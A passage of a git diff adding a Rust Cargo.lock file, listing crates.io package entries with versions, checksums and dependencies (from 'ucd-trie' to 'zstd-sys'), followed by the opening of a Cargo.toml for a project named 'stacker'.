"ucd-trie" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2896d95c02a80c6d6a5d6e953d479f5ddf2dfdb6a244441010e373ac0fb88971" + +[[package]] +name = "unicase" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbc4bc3a9f746d862c45cb89d705aa10f187bb96c76001afab07a0d35ce60142" + +[[package]] +name = "unicode-bidi" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-linebreak" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b09c83c3c29d37506a3e260c08c03743a6bb66a9cd432c6934ab501a190571f" + +[[package]] +name = "unicode-normalization" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd4f6878c9cb28d874b009da9e8d183b5abc80117c40bbd187a1fde336be6e8" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-properties" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7df058c713841ad818f1dc5d3fd88063241cc61f49f5fbea4b951e8cf5a8d71d" + +[[package]] +name = "unicode-segmentation" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9629274872b2bfaf8d66f5f15725007f635594914870f65218920345aa11aa8c" + +[[package]] +name = "unicode-width" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common 0.1.7", + "subtle", +] + +[[package]] +name = "unsafe-libyaml" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861" + +[[package]] +name = "untrusted" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", + "serde_derive", +] + +[[package]] +name = "urlencoding" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "uuid" +version = "1.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ac8b6f42ead25368cf5b098aeb3dc8a1a2c05a3eee8a9a1a68c640edbfc79d9" +dependencies = [ + "getrandom 0.4.2", + "js-sys", + "serde_core", + "wasm-bindgen", +] + +[[package]] +name = "v_htmlescape" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e8257fbc510f0a46eb602c10215901938b5c2a7d5e70fc11483b1d3c9b5b18c" + +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = "value-bag" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ba6f5989077681266825251a52748b8c1d8a4ad098cc37e440103d0ea717fc0" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", +] + +[[package]] +name = "waker-fn" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "317211a0dc0ceedd78fb2ca9a44aed3d7b9b26f81870d485c07122b4350673b7" + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.2+wasi-0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9517f9239f02c069db75e65f174b3da828fe5f5b945c4dd26bd25d89c03ebcf5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasite" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8dad83b4f25e74f184f64c43b150b91efe7647395b42289f38e50566d82855b" + +[[package]] +name = "wasm-bindgen" +version = "0.2.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0551fc1bb415591e3372d0bc4780db7e587d84e2a7e79da121051c5c4b89d0b0" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03623de6905b7206edd0a75f69f747f134b7f0a2323392d664448bf2d3c5d87e" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fbdf9a35adf44786aecd5ff89b4563a90325f9da0923236f6104e603c7e86be" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dca9693ef2bab6d4e6707234500350d8dad079eb508dca05530c85dc3a529ff2" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 2.0.117", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39129a682a6d2d841b6c429d0c51e5cb0ed1a03829d8b3d1e69a011e62cb3d3b" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-bindgen-test" +version = "0.3.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "941c102b3f0c15b6d72a53205e09e6646aafcf2991e18412cc331dbac1806bc0" +dependencies = [ + "async-trait", + "cast", + "js-sys", + "libm", + "minicov", + "nu-ansi-term", + "num-traits", + "oorandom", + "serde", + "serde_json", + "wasm-bindgen", + "wasm-bindgen-futures", + "wasm-bindgen-test-macro", + "wasm-bindgen-test-shared", +] + +[[package]] +name = "wasm-bindgen-test-macro" +version = "0.3.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a26bd6570f39bb1440fd8f01b63461faaf2a3f6078a508e4e54efa99363108d2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "wasm-bindgen-test-shared" +version = "0.2.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c29582b14d5bf030b02fa232b9b57faf2afc322d2c61964dd80bad02bf76207" + +[[package]] +name = "wasm-encoder" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" +dependencies = [ + "leb128fmt", + "wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap 2.14.0", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasm-streams" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15053d8d85c7eccdbefef60f06769760a563c7f0a9d6902a13d35c7800b0ad65" +dependencies = [ + "futures-util", + "js-sys", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "wasmparser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +dependencies = [ + "bitflags 2.11.0", + "hashbrown 0.15.5", + "indexmap 2.14.0", + "semver", +] + +[[package]] +name = "web-sys" +version = "0.3.94" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd70027e39b12f0849461e08ffc50b9cd7688d942c1c8e3c7b22273236b4dd0a" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "0.26.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521bc38abb08001b01866da9f51eb7c5d647a19260e00054a8c7fd5f9e57f7a9" +dependencies = [ + "webpki-roots 1.0.6", +] + +[[package]] +name = "webpki-roots" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cfaf3c063993ff62e73cb4311efde4db1efb31ab78a3e5c457939ad5cc0bed" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "whoami" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d4a4db5077702ca3015d3d02d74974948aba2ad9e12ab7df718ee64ccd7e97d" +dependencies = [ + "libredox", + "wasite", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "527fadee13e0c05939a6a05d5bd6eec6cd2e3dbd648b9f8e447c6518133d8580" +dependencies = [ + "windows-collections", + "windows-core", + "windows-future", + "windows-numerics", +] + +[[package]] +name = "windows-collections" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23b2d95af1a8a14a3c7367e1ed4fc9c20e0a26e79551b1454d72583c97cc6610" +dependencies = [ + "windows-core", +] + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-future" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1d6f90251fe18a279739e78025bd6ddc52a7e22f921070ccdc67dde84c605cb" +dependencies = [ + "windows-core", + "windows-link", + "windows-threading", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-numerics" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e2e40844ac143cdb44aead537bbf727de9b044e107a0f1220392177d15b0f26" +dependencies = [ + "windows-core", + "windows-link", +] + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-threading" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3949bd5b99cafdf1c7ca86b43ca564028dfe27d66958f2470940f73d86d75b37" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wiremock" +version = "0.5.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13a3a53eaf34f390dd30d7b1b078287dd05df2aa2e21a589ccb80f5c7253c2e9" +dependencies = [ + "assert-json-diff", + "async-trait", + "base64 0.21.7", + "deadpool 0.9.5", + "futures", + "futures-timer", + "http-types", + "hyper 0.14.32", + "log", + "once_cell", + "regex", + "serde", + "serde_json", + "tokio", +] + +[[package]] +name = "wit-bindgen" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck", + "indexmap 2.14.0", + "prettyplease", + "syn 2.0.117", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn 2.0.117", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags 2.11.0", + "indexmap 2.14.0", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap 2.14.0", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "writeable" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" + +[[package]] +name = "x509-cert" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1301e935010a701ae5f8655edc0ad17c44bad3ac5ce8c39185f75453b720ae94" +dependencies = [ + "const-oid 0.9.6", + "der 0.7.10", + "spki 0.7.3", +] + +[[package]] +name = "x509-parser" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4569f339c0c402346d4a75a9e39cf8dad310e287eef1ff56d4c68e5067f53460" +dependencies = [ + "asn1-rs", + "data-encoding", + "der-parser", + "lazy_static", + "nom 7.1.3", + "oid-registry", + "rusticata-macros", + "thiserror 2.0.18", + "time", +] + +[[package]] +name = "xattr" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32e45ad4206f6d2479085147f02bc2ef834ac85886624a23575ae137c8aa8156" +dependencies = [ + "libc", + "rustix 1.1.4", +] + +[[package]] +name = "yaml-rust" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85" +dependencies = [ + "linked-hash-map", +] + +[[package]] +name = "yoke" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abe8c5fda708d9ca3df187cae8bfb9ceda00dd96231bed36e445a1a48e66f9ca" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "zerocopy" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eed437bf9d6692032087e337407a86f04cd8d6a16a37199ed57949d415bd68e9" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e3cd084b1788766f53af483dd21f93881ff30d7320490ec3ef7526d203bad4" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zerofrom" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69faa1f2a1ea75661980b013019ed6687ed0e83d069bc1114e2cc74c6c04c4df" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85a5b4158499876c763cb03bc4e49185d3cccbabb15b33c627f7884f43db852e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zerotrie" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" + +[[package]] +name = "zstd" +version = "0.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e91ee311a569c327171651566e07972200e76fcfe2242a4fa446149a3881c08a" +dependencies = [ + "zstd-safe", +] + +[[package]] +name = "zstd-safe" +version = "7.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f49c4d5f0abb602a93fb8736af2a4f4dd9512e36f7f570d66e65ff867ed3b9d" +dependencies = [ + "zstd-sys", +] + +[[package]] +name = "zstd-sys" +version = "2.0.16+zstd.1.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e19ebc2adc8f83e43039e79776e3fda8ca919132d68a1fed6a5faca2683748" +dependencies = [ + "cc", + "pkg-config", +] diff --git a/stacker/stacker/Cargo.toml b/stacker/stacker/Cargo.toml new file mode 100644 index 0000000..71795e0 --- /dev/null +++ b/stacker/stacker/Cargo.toml @@ -0,0 +1,134 @@ +[package] +name = "stacker" +version = "0.2.8" +edition = "2021" +default-run= "server" + +[workspace] +members = ["crates/pipe-adapter-sdk", "crates/pipe-adapter-mail"] +resolver = "2" + +[lib] 